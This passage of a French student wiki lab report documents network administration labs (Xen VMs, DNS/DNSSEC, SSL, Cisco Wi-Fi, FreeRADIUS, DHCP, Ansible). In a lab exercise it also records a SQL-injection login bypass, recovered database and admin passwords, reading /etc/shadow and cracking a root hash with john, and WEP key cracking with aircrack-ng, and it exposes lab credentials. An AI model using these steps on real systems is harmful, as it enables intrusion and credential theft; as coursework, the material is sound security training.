&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
 ** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
&lt;br /&gt;
 ** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54974</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54974"/>
				<updated>2020-12-18T18:29:34Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
